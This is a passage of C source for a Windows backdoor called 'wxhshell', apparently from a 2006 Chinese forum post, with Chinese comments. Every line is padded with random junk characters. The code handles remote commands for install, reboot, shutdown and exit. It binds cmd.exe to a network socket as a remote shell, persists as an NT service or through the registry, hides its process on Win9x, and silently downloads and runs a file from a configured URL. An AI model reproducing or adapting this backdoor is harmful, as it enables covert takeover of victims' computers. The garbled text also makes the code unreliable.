  else { 4E3g,%9u  
9`Q@'( m  
    switch(cmd[0]) { IB$7`7  
  jj&s} _75  
  // 帮助 tJZc/]%`H  
  case '?': { SS3-+<z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p+w8$8)  
    break; T[uDZYx  
  } O.+9,4A(  
  // 安装 $RO$}!  
  case 'i': { trYTs,KV  
    if(Install()) z'MS#6|}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?b:_AO&  
    else ?9KGnOVu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *e4TSqC|  
    break; r/r:oXK  
    } S%6U~@hig  
  // 卸载 's%q  
  case 'r': { h=+$>_&:  
    if(Uninstall()) ;=;JfNnbm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,0?!ov|  
    else :)c80`-E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]7/gJ>g,  
    break; P]6}\ ]~  
    } o$J6 ~dn  
  // 显示 wxhshell 所在路径 RUXCq`)"<  
  case 'p': { +x1/-J8_sg  
    char svExeFile[MAX_PATH]; 0|Uc d  
    strcpy(svExeFile,"\n\r"); $99R|^  
      strcat(svExeFile,ExeFile); ?d-70pm  
        send(wsh,svExeFile,strlen(svExeFile),0); JLm @Ag  
    break; "4 k-dj  
    } ?]!vRmZ;  
  // 重启 ^Kq|ID AP  
  case 'b': { ^ eh /HnJs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HnZPw&*  
    if(Boot(REBOOT)) ^ddO&!U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <^><3U`  
    else { }T(z4P3  
    closesocket(wsh); G\~^&BAC  
    ExitThread(0); *xH\)|3,  
    } 8vD3=yK%^  
    break; oY3>UZ5\  
    } 8T5k-HwE  
  // 关机 %a 8&W  
  case 'd': { #Z9L_gDp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ap<J'?~y  
    if(Boot(SHUTDOWN)) rla:<6tt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XAD3Z?  
    else { la, h  
    closesocket(wsh); 9([6d.`~  
    ExitThread(0); nX[;^v/  
    } ZK dh%8C  
    break; Sb"2Im>  
    } &Ocu#Cb  
  // 获取shell J!p<oW)a!  
  case 's': { u-><}OVf~  
    CmdShell(wsh); TOT PzB  
    closesocket(wsh); S/Oxr%H  
    ExitThread(0); \< 65??P  
    break; w|Qd`  
  } !nw [  
  // 退出 YoSQN/Z  
  case 'x': { !,bPe5?Ql  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &]NZvqdj.]  
    CloseIt(wsh); 36A;!1  
    break; EXbTCT}`x  
    } p\D >z("  
  // 离开 V SAafux  
  case 'q': { =vEkMJ Os  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zu#<  
    closesocket(wsh); Ay$>(;  
    WSACleanup(); u,9q<&,  
    exit(1); =cp;Q,t'9L  
    break; #7W.s!#}Dd  
        } p_6P`Yx^e  
  } A*0*sZ0  
  } p24.bLr  
e'~ Q@_D  
  // 提示信息 pxplWP,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HdCk!Fv  
} !0jq6[&  
  } n;OHH{E{  
A{`]& K1u  
  return; 6>B \|  
} fPz=KoN  
`:5,e/5,  
// shell模块句柄 Vy;_GfT$  
int CmdShell(SOCKET sock) T`Hw49  
{ +x]e-P%  
STARTUPINFO si; - L`7+  
ZeroMemory(&si,sizeof(si)); Oz>io\P94  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n\>.T[$"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V9{B}5KC  
PROCESS_INFORMATION ProcessInfo; t2.juoI(  
char cmdline[]="cmd"; pqfT\Kb>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NG)7G   
  return 0; k?-S`o%Q  
} -\,VGudM}  
gKQ@!U U8  
// 自身启动模式 +]L)>$6  
int StartFromService(void) Pd],}/ZG-  
{ 8IOj[&%0  
typedef struct B;c=eMw  
{ *vs~SzF$  
  DWORD ExitStatus; #pa\ 2d|  
  DWORD PebBaseAddress; 8S=c^_PJ  
  DWORD AffinityMask; e7|d=W  
  DWORD BasePriority; sZm^&h;  
  ULONG UniqueProcessId; W-XN4:,qI  
  ULONG InheritedFromUniqueProcessId; 8A_TIyh?  
}   PROCESS_BASIC_INFORMATION; llqDT-cp  
Tw}z7U"  
PROCNTQSIP NtQueryInformationProcess; q]l\`/R%u  
0 r3N^_}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8;.` {'r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P:a*t[+  
*NjMb{[ZQ  
  HANDLE             hProcess; Dauo(Uhuo  
  PROCESS_BASIC_INFORMATION pbi; Is kSX  
b,vL8*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); my=~"bw4  
  if(NULL == hInst ) return 0; -faw:  
~ i'C/[P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .-%oDuB5zF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]>*I)H)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d#Wn[h$"  
;]u1~  
  if (!NtQueryInformationProcess) return 0; w6v1 q:20  
U\;Ml  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5W5pRd>Q  
  if(!hProcess) return 0; !g/_ w  
i59k"pNm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U)b &zZc;  
6d(b'S^  
  CloseHandle(hProcess); Y?e3Bx7*b  
bZnDd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ CX,nj_(  
if(hProcess==NULL) return 0; /Sh4pu"'  
IjgBa-o/V  
HMODULE hMod; MIJ%_=sm4:  
char procName[255]; 8ZzU^x  
unsigned long cbNeeded; 5I_hh?N4Z  
]q37Hj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *<;&>w8  
[L)V(o)v  
  CloseHandle(hProcess); Z%A<#%    
@Zh8 QI+  
if(strstr(procName,"services")) return 1; // 以服务启动 Y~x`6  
Wd1 IX^7C%  
  return 0; // 注册表启动 tUn&z?7bF  
} 5 u"nxT   
v.]'%+::#  
// 主模块 iiQ||P}5  
int StartWxhshell(LPSTR lpCmdLine) 2 /UI>@By  
{ P@-R5GK  
  SOCKET wsl; Mof)2Hbd:  
BOOL val=TRUE; 9EjjkJ%)q  
  int port=0; HMFl/%z  
  struct sockaddr_in door; RNl\`>Cz  
d+1L5}Jn  
  if(wscfg.ws_autoins) Install(); M_|M&lR>  
)m oo?Q  
port=atoi(lpCmdLine); Py}!C@e  
M55e=  
if(port<=0) port=wscfg.ws_port; %y!   
U3(L.8(sA  
  WSADATA data; @m }rQT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5I wX\  
`*|LI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H@Kl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zvWO4\  
  door.sin_family = AF_INET; zS,%msT^A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y!Usce  
  door.sin_port = htons(port); (0O`A~M3  
R4[. n@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HFpjNR  
closesocket(wsl); k QB 1=c  
return 1; *_}IeNc  
} LS*{]@8q  
Sj,4=a  
  if(listen(wsl,2) == INVALID_SOCKET) { m3h2/}%9`  
closesocket(wsl); 1"*Nb5s  
return 1; N}eU.#L  
}  m,xy4  
  Wxhshell(wsl); *S,v$ VX  
  WSACleanup(); ,S7~=S  
:qt82tbn  
return 0; 6:8EZ' y  
}UJdE#4  
} 6kgCS{MZ  
~ `tJvUo0  
// 以NT服务方式启动 )1X' W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xP<H,og&x=  
{ e2,<,~_K6  
DWORD   status = 0; \emT:Frb  
  DWORD   specificError = 0xfffffff; ;D %5 nnr  
[)T$91 6I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oi+Qy[y2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y)@oo=oG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =[v2   
  serviceStatus.dwWin32ExitCode     = 0; B' P,?`  
  serviceStatus.dwServiceSpecificExitCode = 0; b tr x?k(  
  serviceStatus.dwCheckPoint       = 0; 1o"y%*"  
  serviceStatus.dwWaitHint       = 0; 38zR\@'j]4  
:y<Cd[/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <S:,`v&Z  
  if (hServiceStatusHandle==0) return; hO:)=}+H  
>@q2FSMf  
status = GetLastError(); VO\S>kw  
  if (status!=NO_ERROR) #! K~_DL  
{ jn5=N[hd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uL qpbn  
    serviceStatus.dwCheckPoint       = 0; oj,Vi-TZ  
    serviceStatus.dwWaitHint       = 0; -wG[>Y  
    serviceStatus.dwWin32ExitCode     = status; q/aL8V<"z  
    serviceStatus.dwServiceSpecificExitCode = specificError; {HE.mHy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _KT]l./  
    return; >G w%r1)  
  } CU} q&6h  
[hvig$L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &</ @0  
  serviceStatus.dwCheckPoint       = 0; C {H'  
  serviceStatus.dwWaitHint       = 0; 3P<Zzt%eT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^*4(JR   
} SWe!9Y$  
7,&3=R <  
// 处理NT服务事件,比如:启动、停止 z}Mb4{d1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '/ ]fZ|  
{ 4)c"@Zf  
switch(fdwControl) 0t/z "  
{ #o}{cXX#  
case SERVICE_CONTROL_STOP: XO8 H]  
  serviceStatus.dwWin32ExitCode = 0; "pKGUM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "' i [~  
  serviceStatus.dwCheckPoint   = 0; cZ7F1H~  
  serviceStatus.dwWaitHint     = 0; b5iJ m-  
  { SOi(5]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ 33@H  
  } t9=|* =;9)  
  return; }I'>r(K  
case SERVICE_CONTROL_PAUSE: q>Ar.5&M_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S^sW.(I  
  break; ix_$Ok  
case SERVICE_CONTROL_CONTINUE: 6A{s%v H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R4K eUn"  
  break; _4x[}e7KF  
case SERVICE_CONTROL_INTERROGATE: }lQn]q  
  break; n"`SL<K1  
}; Y/Gswcz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !x!L&p  
} [fJFH^&?hr  
VS@rM<K{  
// 标准应用程序主函数 85d7IB{28  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pCud` :o"  
{ QKuc21  
N]P*6sf-6  
// 获取操作系统版本 cJp1 <R  
OsIsNt=GetOsVer(); D%";!7u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1.cUol nr  
lhvZ*[[<)  
  // 从命令行安装 jP{]LJ2.6\  
  if(strpbrk(lpCmdLine,"iI")) Install(); D9pxe qf+=  
DIcyXZH<  
  // 下载执行文件 *U[Q=w  
if(wscfg.ws_downexe) { p|O-I&Xd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !h~#L"z  
  WinExec(wscfg.ws_filenam,SW_HIDE); VIlQzM;%^  
} )jQe K  
4s+J-l  
if(!OsIsNt) { / hj9Q!  
// 如果时win9x,隐藏进程并且设置为注册表启动  TVEF+t  
HideProc(); 2>_LX!kyP]  
StartWxhshell(lpCmdLine); nR|uAw  
} (>@syF%PB  
else vp}>#&  
  if(StartFromService()) V,* 0<7h  
  // 以服务方式启动 qI/r_  
  StartServiceCtrlDispatcher(DispatchTable); :."n@sA@  
else l Ib>t  
  // 普通方式启动 ^`PSlT3<F  
  StartWxhshell(lpCmdLine); 2/<WWfX'  
;V(}F!U\z  
return 0; &>^Ympr  
}
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只看该作者 1 发表于: 2006-10-10
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